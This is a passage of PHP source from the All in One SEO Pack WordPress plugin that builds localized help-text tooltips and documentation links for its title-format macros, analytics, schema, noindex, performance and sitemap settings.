'<dt>%date%</dt>' . '<dd>' . __( 'The original archive title (localized), e.g. "2019" or "2019 August"', 'all-in-one-seo-pack' ) . '</dd>' . '<dt>%day%</dt>' . '<dd>' . __( 'The original archive day, e.g. "17"', 'all-in-one-seo-pack' ) . '</dd>' . '<dt>%month%</dt>' . '<dd>' . __( 'The original archive month (localized), e.g. "August"', 'all-in-one-seo-pack' ) . '</dd>' . '<dt>%year%</dt>' . '<dd>' . __( 'The original archive year, e.g. "2019"', 'all-in-one-seo-pack' ) . '</dd>' . '</dl>', 'aiosp_author_title_format' => __( 'This controls the format of the title tag for Author Archives.', 'all-in-one-seo-pack' ) . '<br />' . __( 'The following macros are supported:', 'all-in-one-seo-pack' ) . '<dl>' . '<dt>%site_title%</dt>' . '<dd>' . __( 'Your site title', 'all-in-one-seo-pack' ) . '</dd>' . '<dt>%site_description%</dt>' . '<dd>' . __( 'Your site description', 'all-in-one-seo-pack' ) . '</dd>' . '<dt>%author%</dt>' . '<dd>' . __( 'The original archive title, e.g. "Steve" or "John Smith"', 'all-in-one-seo-pack' ) . '</dd>' . '</dl>', 'aiosp_tag_title_format' => __( 'This controls the format of the title tag for Tag Archives.', 'all-in-one-seo-pack' ) . '<br />' . __( 'The following macros are supported:', 'all-in-one-seo-pack' ) . '<dl>' . '<dt>%site_title%</dt>' . '<dd>' . __( 'Your site title', 'all-in-one-seo-pack' ) . '</dd>' . '<dt>%site_description%</dt>' . '<dd>' . __( 'Your site description', 'all-in-one-seo-pack' ) . '</dd>' . '<dt>%tag%</dt>' . '<dd>' . sprintf( __( 'The name of the %s', 'all-in-one-seo-pack' ), __( 'Tag', 'all-in-one-seo-pack' ) ) . '</dd>' . '</dl>', 'aiosp_search_title_format' => __( 'This controls the format of the title tag for the Search page.', 'all-in-one-seo-pack' ) . '<br />' . __( 'The following macros are supported:', 'all-in-one-seo-pack' ) . '<dl>' . '<dt>%site_title%</dt>' . '<dd>' . __( 'Your site title', 'all-in-one-seo-pack' ) . '</dd>' . '<dt>%site_description%</dt>' . '<dd>' . __( 'Your site description', 'all-in-one-seo-pack' ) . '</dd>' . '<dt>%search%</dt>' . '<dd>' . __( 'The search term that was entered', 'all-in-one-seo-pack' ) . '</dd>' . '</dl>', 'aiosp_description_format' => __( 'This controls the format of Meta Descriptions. The following macros are supported:', 'all-in-one-seo-pack' ) . '<dl>' . '<dt>%site_title%</dt>' . '<dd>' . __( 'Your site title', 'all-in-one-seo-pack' ) . '</dd>' . '<dt>%site_description%</dt>' . '<dd>' . __( 'Your site description', 'all-in-one-seo-pack' ) . '</dd>' . '<dt>%description%</dt>' . '<dd>' . __( 'This outputs the description you write for each page/post or the autogenerated description, if enabled. Auto-generated descriptions are generated from the excerpt or the first 160 characters of the content if there is no excerpt.', 'all-in-one-seo-pack' ) . '</dd>' . '<dt>%post_title%</dt>' . '<dd>' . sprintf( __( 'The original title of the %s', 'all-in-one-seo-pack' ), __( 'Post', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%wp_title%</dt>' . '<dd>' . __( 'The original WordPress title', 'all-in-one-seo-pack' ) . '</dd>' . '<dt>%current_date%</dt>' . '<dd>' . sprintf( __( 'The current %s (localized)', 'all-in-one-seo-pack' ), __( 'date', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%current_year%</dt>' . '<dd>' . sprintf( __( 'The current %s', 'all-in-one-seo-pack' ), __( 'year', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%current_month%</dt>' . '<dd>' . sprintf( __( 'The current %s', 'all-in-one-seo-pack' ), __( 'month', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%current_month_i18n%</dt>' . '<dd>' . sprintf( __( 'The current %s (localized)', 'all-in-one-seo-pack' ), __( 'month', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%post_date%</dt>' . '<dd>' . sprintf( __( 'The %1$s when the %2$s was published (localized)', 'all-in-one-seo-pack' ), __( 'date', 'all-in-one-seo-pack' ), /* translators: "Post/Page" are the two main content types in WordPress. */ __( 'Post/Page', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%post_year%</dt>' . '<dd>' . sprintf( __( 'The %1$s when the %2$s was published (localized)', 'all-in-one-seo-pack' ), __( 'year', 'all-in-one-seo-pack' ), __( 'Post/Page', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%post_month%</dt>' . '<dd>' . sprintf( __( 'The %1$s when the %2$s was published (localized)', 'all-in-one-seo-pack' ), __( 'month', 'all-in-one-seo-pack' ), __( 'Post/Page', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%cf_fieldname%</dt>' . '<dd>' . __( 'The name of a custom field', 'all-in-one-seo-pack' ) . '</dd>' . '</dl>', 'aiosp_404_title_format' => __( 'This controls the format of the title tag for the 404 page.', 'all-in-one-seo-pack' ) . ' <br />' . __( 'The following macros are supported:', 'all-in-one-seo-pack' ) . '<dl>' . '<dt>%site_title%</dt>' . '<dd>' . __( 'Your site title', 'all-in-one-seo-pack' ) . '</dd>' . '<dt>%site_description%</dt>' . '<dd>' . __( 'Your site description', 'all-in-one-seo-pack' ) . '</dd>' . '<dt>%request_url%</dt>' . '<dd>' . __( 'The original URL path, like "/url-that-does-not-exist/"', 'all-in-one-seo-pack' ) . '</dd>' . '<dt>%request_words%</dt>' . '<dd>' . __( 'The URL path in human readable form, like "Url That Does Not Exist"', 'all-in-one-seo-pack' ) . '</dd>' . '<dt>%404_title%</dt>' . '<dd>' . __( 'Additional 404 title input', 'all-in-one-seo-pack' ) . '</dd>' . '</dl>', 'aiosp_paged_format' => __( 'This string gets appended/prepended to titles of paged index pages (like home or archive pages).', 'all-in-one-seo-pack' ) . __( 'The following macros are supported:', 'all-in-one-seo-pack' ) . '<dl>' . '<dt>%page%</dt>' . '<dd>' . __( 'The page number', 'all-in-one-seo-pack' ) . '</dd>' . '</dl>', //phpcs:enable // Custom Post Type Settings. /* translators: %s is a placeholder, which means that it should not be translated. It will be replaced with the name of the plugin, All in One SEO Pack. */ 'aiosp_cpostactive' => sprintf( __( 'Use these checkboxes to select which Content Types you want to use %s with.', 'all-in-one-seo-pack' ), AIOSEOP_PLUGIN_NAME ), // Display Settings. 'aiosp_posttypecolumns' => __( 'This lets you select which screens display the SEO Title, SEO Keywords and SEO Description columns.', 'all-in-one-seo-pack' ), // Webmaster Verification. 'aiosp_google_verify' => __( 'Enter your verification code here to verify your site with Google Search Console.', 'all-in-one-seo-pack' ), 'aiosp_bing_verify' => __( 'Enter your verification code here to verify your site with Bing Webmaster Tools.', 'all-in-one-seo-pack' ), 'aiosp_pinterest_verify' => __( 'Enter your verification code here to verify your site with Pinterest.', 'all-in-one-seo-pack' ), 'aiosp_yandex_verify' => __( 'Enter your verification code here to verify your site with Yandex Webmaster Tools.', 'all-in-one-seo-pack' ), 'aiosp_baidu_verify' => __( 'Enter your verification code here to verify your site with Baidu Webmaster Tools.', 'all-in-one-seo-pack' ), // Google Analytics. 'aiosp_google_analytics_id' => __( 'Enter your Google Analytics ID here to track visitor behavior on your site using Google Analytics.', 'all-in-one-seo-pack' ), 'aiosp_ga_advanced_options' => __( 'Check to use advanced Google Analytics options.', 'all-in-one-seo-pack' ), 'aiosp_ga_domain' => __( 'Enter your domain name without the http:// to set your cookie domain.', 'all-in-one-seo-pack' ), 'aiosp_ga_multi_domain' => __( 'Use this option to enable tracking of multiple or additional domains.', 'all-in-one-seo-pack' ), 'aiosp_ga_addl_domains' => __( 'Add a list of additional domains to track here. Enter one domain name per line without the http://.', 'all-in-one-seo-pack' ), 'aiosp_ga_anonymize_ip' => __( 'This enables support for IP Anonymization in Google Analytics.', 'all-in-one-seo-pack' ), 'aiosp_ga_display_advertising' => __( 'This enables support for the Display Advertiser Features in Google Analytics.', 'all-in-one-seo-pack' ), 'aiosp_ga_exclude_users' => __( 'Exclude logged-in users from Google Analytics tracking by role.', 'all-in-one-seo-pack' ), 'aiosp_ga_track_outbound_links' => __( 'Check this if you want to track outbound links with Google Analytics.', 'all-in-one-seo-pack' ), 'aiosp_ga_link_attribution' => __( 'This enables support for the Enhanced Link Attribution in Google Analytics.', 'all-in-one-seo-pack' ), 'aiosp_ga_enhanced_ecommerce' => __( 'This enables support for the Enhanced Ecommerce in Google Analytics.', 'all-in-one-seo-pack' ), // Schema Settings. 'aiosp_schema_search_results_page' => __( 'Select this to output markup that notifies Google to display the Sitelinks Search Box within certain search results.', 'all-in-one-seo-pack' ), 'aiosp_schema_social_profile_links' => __( 'Add the URLs for your website\'s social profiles here (Facebook, Twitter, Instagram, LinkedIn, etc.), one per line. These may be used in rich search results such as Google Knowledge Graph.', 'all-in-one-seo-pack' ), 'aiosp_schema_site_represents' => __( 'Select whether your website is primarily for a person or an organization.', 'all-in-one-seo-pack' ), 'aiosp_schema_organization_name' => __( 'Enter your organization or business name.', 'all-in-one-seo-pack' ), 'aiosp_schema_organization_logo' => __( 'Add a logo that represents your organization or business. The image must be in PNG, JPG or GIF format and a minimum size of 112px by 112px. If no image is selected, then the plugin will try to use the logo in the Customizer settings.', 'all-in-one-seo-pack' ), 'aiosp_schema_person_user' => __( 'Select the primary owner for your site from the list of users. Only users with the role of Author, Editor or Administrator will be listed here.', 'all-in-one-seo-pack' ), 'aiosp_schema_phone_number' => __( 'Enter the primary phone number your organization or business. You must include the country code and the phone number must use the standard format for your country, for example: 1-888-888-8888.', 'all-in-one-seo-pack' ), 'aiosp_schema_contact_type' => __( 'Select the type of contact for the phone number you have entered.', 'all-in-one-seo-pack' ), // Noindex Settings. 'aiosp_cpostnoindex' => __( 'Set the default NOINDEX setting for each Post Type.', 'all-in-one-seo-pack' ), 'aiosp_cpostnofollow' => __( 'Set the default NOFOLLOW setting for each Post Type.', 'all-in-one-seo-pack' ), 'aiosp_category_noindex' => __( 'Check this to ask search engines not to index Category Archives. Useful for avoiding duplicate content.', 'all-in-one-seo-pack' ), 'aiosp_archive_date_noindex' => __( 'Check this to ask search engines not to index Date Archives. Useful for avoiding duplicate content.', 'all-in-one-seo-pack' ), 'aiosp_archive_author_noindex' => __( 'Check this to ask search engines not to index Author Archives. Useful for avoiding duplicate content.', 'all-in-one-seo-pack' ), 'aiosp_tags_noindex' => __( 'Check this to ask search engines not to index Tag Archives. Useful for avoiding duplicate content.', 'all-in-one-seo-pack' ), 'aiosp_search_noindex' => __( 'Check this to ask search engines not to index the Search page. Useful for avoiding duplicate content.', 'all-in-one-seo-pack' ), 'aiosp_404_noindex' => __( 'Check this to ask search engines not to index the 404 page.', 'all-in-one-seo-pack' ), 'aiosp_paginated_noindex' => __( 'Check this to ask search engines not to index paginated pages/posts. Useful for avoiding duplicate content.', 'all-in-one-seo-pack' ), 'aiosp_paginated_nofollow' => __( 'Check this to ask search engines not to follow links from paginated pages/posts. Useful for avoiding duplicate content.', 'all-in-one-seo-pack' ), 'aiosp_tax_noindex' => __( 'Check this to ask search engines not to index custom Taxonomy archive pages. Useful for avoiding duplicate content.', 'all-in-one-seo-pack' ), // Advanced Settings. 'aiosp_generate_descriptions' => __( 'Check this and your Meta Descriptions for any Post Type will be auto-generated using the Post Excerpt, or the first 160 characters of the post content if there is no Post Excerpt. You can overwrite any auto-generated Meta Description by editing the post or page.', 'all-in-one-seo-pack' ), 'aiosp_skip_excerpt' => __( 'This option will auto generate your meta descriptions from your post content instead of your post excerpt. This is useful if you want to use your content for your autogenerated meta descriptions instead of the excerpt. WooCommerce users should read the documentation regarding this setting.', 'all-in-one-seo-pack' ), 'aiosp_run_shortcodes' => __( 'Check this and shortcodes will get executed for descriptions auto-generated from content.', 'all-in-one-seo-pack' ), 'aiosp_hide_paginated_descriptions' => __( 'Check this and your Meta Descriptions will be removed from page 2 or later of paginated content.', 'all-in-one-seo-pack' ), 'aiosp_dont_truncate_descriptions' => __( 'Check this to prevent your Description from being truncated regardless of its length.', 'all-in-one-seo-pack' ), 'aiosp_unprotect_meta' => __( "Check this to unprotect internal postmeta fields for use with XMLRPC. If you don't know what that is, leave it unchecked.", 'all-in-one-seo-pack' ), 'aiosp_redirect_attachement_parent' => __( 'Redirect attachment pages to post parent.', 'all-in-one-seo-pack' ), /* translators: %s is a placeholder, which means that it should not be translated. It will be replaced with the name of the plugin, All in One SEO Pack. */ 'aiosp_ex_pages' => sprintf( __( 'Enter a comma separated list of pages here to be excluded by %s. This is helpful when using plugins which generate their own non-WordPress dynamic pages. Ex: <em>/forum/, /contact/</em><br />For instance, if you want to exclude the virtual pages generated by a forum plugin, all you have to do is add "forum" or "/forum" or "/forum/" or any URL with the word "forum" in it here, such as "http://mysite.com/forum" or "http://mysite.com/forum/someforumpage", and it will be excluded.', 'all-in-one-seo-pack' ), AIOSEOP_PLUGIN_NAME ), 'aiosp_post_meta_tags' => __( 'What you enter here will be copied verbatim to the header of all Posts. You can enter whatever additional headers you want here, even references to stylesheets.', 'all-in-one-seo-pack' ), 'aiosp_page_meta_tags' => __( 'What you enter here will be copied verbatim to the header of all Pages. You can enter whatever additional headers you want here, even references to stylesheets.', 'all-in-one-seo-pack' ), 'aiosp_front_meta_tags' => __( 'What you enter here will be copied verbatim to the header of the front page if you have set a static page in Settings, Reading, Front Page Displays. You can enter whatever additional headers you want here, even references to stylesheets. This will fall back to using Additional Page Headers if you have them set and nothing is entered here.', 'all-in-one-seo-pack' ), 'aiosp_home_meta_tags' => __( 'What you enter here will be copied verbatim to the header of the home page if you have Front page displays your latest posts selected in Settings, Reading.  It will also be copied verbatim to the header on the Posts page if you have one set in Settings, Reading. You can enter whatever additional headers you want here, even references to stylesheets.', 'all-in-one-seo-pack' ), // Keyword Settings. 'aiosp_togglekeywords' => __( 'This option allows you to toggle the use of Meta Keywords throughout the whole of the site.', 'all-in-one-seo-pack' ), 'aiosp_use_categories' => __( 'Check this if you want your categories for a given post used as the Meta Keywords for this post (in addition to any keywords you specify on the Edit Post screen).', 'all-in-one-seo-pack' ), 'aiosp_use_tags_as_keywords' => __( 'Check this if you want your tags for a given post used as the Meta Keywords for this post (in addition to any keywords you specify on the Edit Post screen).', 'all-in-one-seo-pack' ), 'aiosp_dynamic_postspage_keywords' => __( 'Check this if you want your keywords on your Posts page (set in WordPress under Settings, Reading, Front Page Displays) and your archive pages to be dynamically generated from the keywords of the posts showing on that page. If unchecked, it will use the keywords set in the edit page screen for the posts page.', 'all-in-one-seo-pack' ), ); // phpcs:disable WordPress.WP.I18n.MissingTranslatorsComment $post_types = get_post_types( '', 'names' ); foreach ( $post_types as $v1_pt ) { if ( ! isset( $rtn_help_text[ 'aiosp_' . $v1_pt . '_title_format' ] ) ) { $name = ucwords( preg_replace( '/-|\_/', ' ', get_post_type_object( $v1_pt )->labels->singular_name ) ); $help_text_macros = '<dt>%site_title%</dt>' . '<dd>' . __( 'Your site title', 'all-in-one-seo-pack' ) . '</dd>' . '<dt>%site_description%</dt>' . '<dd>' . __( 'Your site description', 'all-in-one-seo-pack' ) . '</dd>' . '<dt>%post_title%</dt>' . '<dd>' . sprintf( __( 'The original title of the %s', 'all-in-one-seo-pack' ), $name ) . '</dd>'; $pt_obj_taxes = get_object_taxonomies( $v1_pt, 'objects' ); foreach ( $pt_obj_taxes as $k2_slug => $v2_tax_obj ) { if ( $v2_tax_obj->public ) { $help_text_macros .= sprintf( '<dt>%%tax_%1$s%%</dt><dd>' . __( 'The title of the %2$s taxonomy that is associated to this %3$s', 'all-in-one-seo-pack' ) . '</dd>', $k2_slug, ucwords( $v2_tax_obj->label ), $name ); } } $help_text_macros .= '<dt>%page_author_login%</dt>' . '<dd>' . sprintf( __( 'The %1$s of the author of the %2$s', 'all-in-one-seo-pack' ), __( 'username', 'all-in-one-seo-pack' ), $name ) . '</dd>' . '<dt>%page_author_nicename%</dt>' . '<dd>' . sprintf( __( 'The %1$s of the author of the %2$s', 'all-in-one-seo-pack' ), __( 'nicename', 'all-in-one-seo-pack' ), $name ) . '</dd>' . '<dt>%page_author_firstname%</dt>' . '<dd>' . sprintf( __( 'The %1$s of the author of the %2$s', 'all-in-one-seo-pack' ), __( 'first name', 'all-in-one-seo-pack' ), $name ) . '</dd>' . '<dt>%page_author_lastname%</dt>' . '<dd>' . sprintf( __( 'The %1$s of the author of the %2$s', 'all-in-one-seo-pack' ), __( 'last name', 'all-in-one-seo-pack' ), $name ) . '</dd>' . '<dt>%current_date%</dt>' . '<dd>' . sprintf( __( 'The current %s (localized)', 'all-in-one-seo-pack' ), __( 'date', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%current_year%</dt>' . '<dd>' . sprintf( __( 'The current %s', 'all-in-one-seo-pack' ), __( 'year', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%current_month%</dt>' . '<dd>' . sprintf( __( 'The current %s', 'all-in-one-seo-pack' ), __( 'month', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%current_month_i18n%</dt>' . '<dd>' . sprintf( __( 'The current %s (localized)', 'all-in-one-seo-pack' ), __( 'month', 'all-in-one-seo-pack' ) ) . '</dd>' . '<dt>%post_date%</dt>' . '<dd>' . sprintf( __( 'The %1$s when the %2$s was published (localized)', 'all-in-one-seo-pack' ), __( 'date', 'all-in-one-seo-pack' ), $name ) . '</dd>' . '<dt>%post_year%</dt>' . '<dd>' . sprintf( __( 'The %1$s when the %2$s was published (localized)', 'all-in-one-seo-pack' ), __( 'year', 'all-in-one-seo-pack' ), $name ) . '</dd>' . '<dt>%post_month%</dt>' . '<dd>' . sprintf( __( 'The %1$s when the %2$s was published (localized)', 'all-in-one-seo-pack' ), __( 'month', 'all-in-one-seo-pack' ), $name ) . '</dd>'; $rtn_help_text[ 'aiosp_' . $v1_pt . '_title_format' ] = __( 'The following macros are supported:', 'all-in-one-seo-pack' ) . '<dl>' . $help_text_macros . '</dl>' . '<br /><a href="https://semperplugins.com/documentation/custom-post-type-settings/#custom-titles" target="_blank">' . __( 'Click here for documentation on this setting', 'all-in-one-seo-pack' ) . '</a>'; } } // phpcs:enable $help_doc_link = array( // General Settings. 'aiosp_can' => 'https://semperplugins.com/documentation/general-settings/#canonical-urls', 'aiosp_no_paged_canonical_links' => 'https://semperplugins.com/documentation/general-settings/#no-pagination-for-canonical-urls', 'aiosp_use_original_title' => 'https://semperplugins.com/documentation/general-settings/#use-original-title', 'aiosp_schema_markup' => 'https://semperplugins.com/documentation/schema-settings/#use-schema-markup', 'aiosp_do_log' => 'https://semperplugins.com/documentation/general-settings/#log-important-events', // Home Page Settings. 'aiosp_home_title' => 'https://semperplugins.com/documentation/home-page-settings/#home-title', 'aiosp_home_description' => 'https://semperplugins.com/documentation/home-page-settings/#home-description', 'aiosp_home_keywords' => 'https://semperplugins.com/documentation/home-page-settings/#home-keywords', 'aiosp_use_static_home_info' => 'https://semperplugins.com/documentation/home-page-settings/#use-static-front-page-instead', // Title Settings. 'aiosp_home_page_title_format' => 'https://semperplugins.com/documentation/title-settings/#title-format-fields', 'aiosp_page_title_format' => 'https://semperplugins.com/documentation/title-settings/#title-format-fields', 'aiosp_post_title_format' => 'https://semperplugins.com/documentation/title-settings/#title-format-fields', 'aiosp_category_title_format' => 'https://semperplugins.com/documentation/title-settings/#title-format-fields', 'aiosp_archive_title_format' => 'https://semperplugins.com/documentation/title-settings/#title-format-fields', 'aiosp_date_title_format' => 'https://semperplugins.com/documentation/title-settings/#title-format-fields', 'aiosp_author_title_format' => 'https://semperplugins.com/documentation/title-settings/#title-format-fields', 'aiosp_tag_title_format' => 'https://semperplugins.com/documentation/title-settings/#title-format-fields', 'aiosp_search_title_format' => 'https://semperplugins.com/documentation/title-settings/#title-format-fields', 'aiosp_description_format' => 'https://semperplugins.com/documentation/title-settings/#title-format-fields', 'aiosp_404_title_format' => 'https://semperplugins.com/documentation/title-settings/#title-format-fields', 'aiosp_paged_format' => 'https://semperplugins.com/documentation/title-settings/#title-format-fields', // Custom Post Type Settings. 'aiosp_cpostactive' => 'https://semperplugins.com/documentation/custom-post-type-settings/#seo-on-only-these-post-types', // Display Settings. 'aiosp_posttypecolumns' => 'https://semperplugins.com/documentation/display-settings/#show-column-labels-for-custom-post-types', // Webmaster Verification. 'aiosp_google_verify' => 'https://semperplugins.com/documentation/google-search-console-verification/', 'aiosp_bing_verify' => 'https://semperplugins.com/documentation/bing-webmaster-verification/', 'aiosp_pinterest_verify' => 'https://semperplugins.com/documentation/pinterest-site-verification/', 'aiosp_yandex_verify' => 'https://semperplugins.com/documentation/yandex-webmaster-verification/', 'aiosp_baidu_verify' => 'https://semperplugins.com/documentation/baidu-webmaster-verification/', // Google Analytics. 'aiosp_google_analytics_id' => 'https://semperplugins.com/documentation/setting-up-google-analytics/', 'aiosp_ga_advanced_options' => 'https://semperplugins.com/documentation/advanced-google-analytics-settings/', 'aiosp_ga_domain' => 'https://semperplugins.com/documentation/advanced-google-analytics-settings/#tracking-domain', 'aiosp_ga_multi_domain' => 'https://semperplugins.com/documentation/advanced-google-analytics-settings/#track-multiple-domains-additional-domains', 'aiosp_ga_addl_domains' => 'https://semperplugins.com/documentation/advanced-google-analytics-settings/#track-multiple-domains-additional-domains', 'aiosp_ga_anonymize_ip' => 'https://semperplugins.com/documentation/advanced-google-analytics-settings/#anonymize-ip-addresses', 'aiosp_ga_display_advertising' => 'https://semperplugins.com/documentation/advanced-google-analytics-settings/#display-advertiser-tracking', 'aiosp_ga_exclude_users' => 'https://semperplugins.com/documentation/advanced-google-analytics-settings/#exclude-users-from-tracking', 'aiosp_ga_track_outbound_links' => 'https://semperplugins.com/documentation/advanced-google-analytics-settings/#track-outbound-links', 'aiosp_ga_link_attribution' => 'https://semperplugins.com/documentation/advanced-google-analytics-settings/#enhanced-link-attribution', 'aiosp_ga_enhanced_ecommerce' => 'https://semperplugins.com/documentation/advanced-google-analytics-settings/#enhanced-ecommerce', // Schema Settings. 'aiosp_schema_search_results_page' => 'https://semperplugins.com/documentation/schema-settings/#display-sitelinks-search-box', 'aiosp_schema_social_profile_links' => 'https://semperplugins.com/documentation/schema-settings/#social-profile-links', 'aiosp_schema_site_represents' => 'https://semperplugins.com/documentation/schema-settings/#person-or-organization', 'aiosp_schema_organization_name' => 'https://semperplugins.com/documentation/schema-settings/#organization-name', 'aiosp_schema_organization_logo' => 'https://semperplugins.com/documentation/schema-settings/#organization-logo', 'aiosp_schema_person_user' => 'https://semperplugins.com/documentation/schema-settings/#persons-username', 'aiosp_schema_phone_number' => 'https://semperplugins.com/documentation/schema-settings/#phone-number', 'aiosp_schema_contact_type' => 'https://semperplugins.com/documentation/schema-settings/#type-of-contact', // Noindex Settings. 'aiosp_cpostnoindex' => 'https://semperplugins.com/documentation/noindex-settings/#noindex', 'aiosp_cpostnofollow' => 'https://semperplugins.com/documentation/noindex-settings/#nofollow', 'aiosp_category_noindex' => 'https://semperplugins.com/documentation/noindex-settings/#noindex-settings', 'aiosp_archive_date_noindex' => 'https://semperplugins.com/documentation/noindex-settings/#noindex-settings', 'aiosp_archive_author_noindex' => 'https://semperplugins.com/documentation/noindex-settings/#noindex-settings', 'aiosp_tags_noindex' => 'https://semperplugins.com/documentation/noindex-settings/#noindex-settings', 'aiosp_search_noindex' => 'https://semperplugins.com/documentation/noindex-settings/#use-noindex-for-the-search-page', 'aiosp_404_noindex' => 'https://semperplugins.com/documentation/noindex-settings/#use-noindex-for-the-404-page', 'aiosp_paginated_noindex' => 'https://semperplugins.com/documentation/noindex-settings/#use-noindex-for-paginated-pages-posts', 'aiosp_paginated_nofollow' => 'https://semperplugins.com/documentation/noindex-settings/#use-nofollow-for-paginated-pages-posts', 'aiosp_tax_noindex' => 'https://semperplugins.com/documentation/noindex-settings/#use-noindex-for-the-taxonomy-archives', // Advanced Settings. 'aiosp_generate_descriptions' => 'https://semperplugins.com/documentation/all-in-one-seo-pack-advanced-settings/#autogenerate-descriptions', 'aiosp_skip_excerpt' => 'https://semperplugins.com/documentation/all-in-one-seo-pack-advanced-settings/#remove-descriptions-for-paginated-pages', 'aiosp_run_shortcodes' => 'https://semperplugins.com/documentation/all-in-one-seo-pack-advanced-settings/#never-shorten-long-descriptions', 'aiosp_hide_paginated_descriptions' => 'https://semperplugins.com/documentation/all-in-one-seo-pack-advanced-settings/#unprotect-post-meta-fields', 'aiosp_dont_truncate_descriptions' => 'https://semperplugins.com/documentation/all-in-one-seo-pack-advanced-settings/#never-shorten-long-descriptions', 'aiosp_unprotect_meta' => 'https://semperplugins.com/documentation/all-in-one-seo-pack-advanced-settings/#unprotect-post-meta-fields', 'aiosp_redirect_attachement_parent' => 'https://semperplugins.com/documentation/all-in-one-seo-pack-advanced-settings/#redirect-attachments-to-post-parent', 'aiosp_ex_pages' => 'https://semperplugins.com/documentation/all-in-one-seo-pack-advanced-settings/#exclude-pages', 'aiosp_post_meta_tags' => 'https://semperplugins.com/documentation/all-in-one-seo-pack-advanced-settings/#additional-post-headers', 'aiosp_page_meta_tags' => 'https://semperplugins.com/documentation/all-in-one-seo-pack-advanced-settings/#additional-page-headers', 'aiosp_front_meta_tags' => 'https://semperplugins.com/documentation/all-in-one-seo-pack-advanced-settings/#additional-front-page-headers', 'aiosp_home_meta_tags' => 'https://semperplugins.com/documentation/all-in-one-seo-pack-advanced-settings/#additional-blog-page-headers', // Keyword Settings. 'aiosp_togglekeywords' => 'https://semperplugins.com/documentation/keyword-settings/#use-keywords', 'aiosp_use_categories' => 'https://semperplugins.com/documentation/keyword-settings/#use-categories-for-meta-keywords', 'aiosp_use_tags_as_keywords' => 'https://semperplugins.com/documentation/keyword-settings/#use-tags-for-meta-keywords', 'aiosp_dynamic_postspage_keywords' => 'https://semperplugins.com/documentation/keyword-settings/#dynamically-generate-keywords-for-posts-page', ); foreach ( $help_doc_link as $k1_slug => $v1_url ) { // Any help text that ends with a ul or ol element will cause text to start at the next line. $tooltips_with_ul = array( 'aiosp_home_page_title_format', 'aiosp_page_title_format', 'aiosp_post_title_format', 'aiosp_category_title_format', 'aiosp_archive_title_format', 'aiosp_date_title_format', 'aiosp_author_title_format', 'aiosp_tag_title_format', 'aiosp_search_title_format', 'aiosp_description_format', 'aiosp_404_title_format', 'aiosp_paged_format', ); $br = '<br /><br />'; if ( in_array( $k1_slug, $tooltips_with_ul, true ) ) { $br = '<br />'; } $rtn_help_text[ $k1_slug ] .= $br . '<a href="' . $v1_url . '" target="_blank">' . __( 'Click here for documentation on this setting.', 'all-in-one-seo-pack' ) . '</a>'; } return $rtn_help_text; } /** * Help Text Performance Module * * @ignore * @since 2.4.2 * @access private * * @return array */ private function help_text_performance() { $rtn_help_text = array( 'aiosp_performance_memory_limit' => __( 'This setting allows you to raise your PHP memory limit to a reasonable value. Note: WordPress core and other WordPress plugins may also change the value of the memory limit.', 'all-in-one-seo-pack' ), 'aiosp_performance_execution_time' => __( 'This setting allows you to raise your PHP execution time to a reasonable value.', 'all-in-one-seo-pack' ), 'aiosp_performance_force_rewrites' => __( 'Use output buffering to ensure that the title gets rewritten. Enable this option if you run into issues with the title tag being set by your theme or another plugin.', 'all-in-one-seo-pack' ), ); $help_doc_link = array( 'aiosp_performance_memory_limit' => 'https://semperplugins.com/documentation/performance-settings/#raise-memory-limit', 'aiosp_performance_execution_time' => 'https://semperplugins.com/documentation/performance-settings/#raise-execution-time', 'aiosp_performance_force_rewrites' => 'https://semperplugins.com/documentation/performance-settings/#force-rewrites', ); foreach ( $help_doc_link as $k1_slug => $v1_url ) { $rtn_help_text[ $k1_slug ] .= '<br /><br /><a href="' . $v1_url . '" target="_blank">' . __( 'Click here for documentation on this setting.', 'all-in-one-seo-pack' ) . '</a>'; } return $rtn_help_text; } /** * Help Text Sitemap Module * * @ignore * @since 2.4.2 * @access private * * @return array */ private function help_text_sitemap() { $rtn_help_text = array( // XML Sitemap. 'aiosp_sitemap_rss_sitemap' => __( 'Generate an RSS sitemap in addition to the regular XML Sitemap.', 'all-in-one-seo-pack' ), 'aiosp_sitemap_daily_cron' => __( 'Notify search engines based on the selected schedule, and also update static sitemap daily if in use. (this uses WP-Cron, so make sure this is working properly on your server as well)', 'all-in-one-seo-pack' ), 'aiosp_sitemap_indexes' => __( 'Organize sitemap entries into distinct files in your sitemap. We recommend you enable this setting if your sitemap contains more than 1,000 URLs.', 'all-in-one-seo-pack' ), 'aiosp_sitemap_max_posts' => __( 'Allows you to specify the maximum number of posts in a sitemap (up to 50,000).', 'all-in-one-seo-pack' ), 'aiosp_sitemap_posttypes' => __( 'Select which Post Types appear in your sitemap.', 'all-in-one-seo-pack' ), 'aiosp_sitemap_taxonomies' => __( 'Select which taxonomy archives appear in your sitemap', 'all-in-one-seo-pack' ), 'aiosp_sitemap_archive' => __( 'Include Date Archives in your sitemap.', 'all-in-one-seo-pack' ), 'aiosp_sitemap_author' => __( 'Include Author Archives in your sitemap.', 'all-in-one-seo-pack' ), 'aiosp_sitemap_images' => __( 'Exclude Images in your sitemap.', 'all-in-one-seo-pack' ), 'aiosp_sitemap_robots' => __( 'Places a link to your Sitemap.xml into your virtual Robots.txt file.', 'all-in-one-seo-pack' ), 'aiosp_sitemap_rewrite' => __( 'Dynamically creates the XML sitemap instead of using a static file.', 'all-in-one-seo-pack' ), 'aiosp_sitemap_addl_url' => __( 'URL to the page. This field only accepts absolute URLs with the protocol specified.', 'all-in-one-seo-pack' ), 'aiosp_sitemap_addl_prio' => __( 'The priority of the page.', 'all-in-one-seo-pack' ), 'aiosp_sitemap_addl_freq' => __( 'The frequency of the page.', 'all-in-one-seo-pack' ), 'aiosp_sitemap_addl_mod' => __( 'Last modified date of the page.', 'all-in-one-seo-pack' ), 'aiosp_sitemap_excl_terms' => __( 'Exclude any category, tag or custom taxonomy from the XML sitemap. Start typing the name of a category, tag or taxonomy term in the field and a dropdown will populate with the matching terms for you to select from.<br/><br/>This will also exclude any content belonging 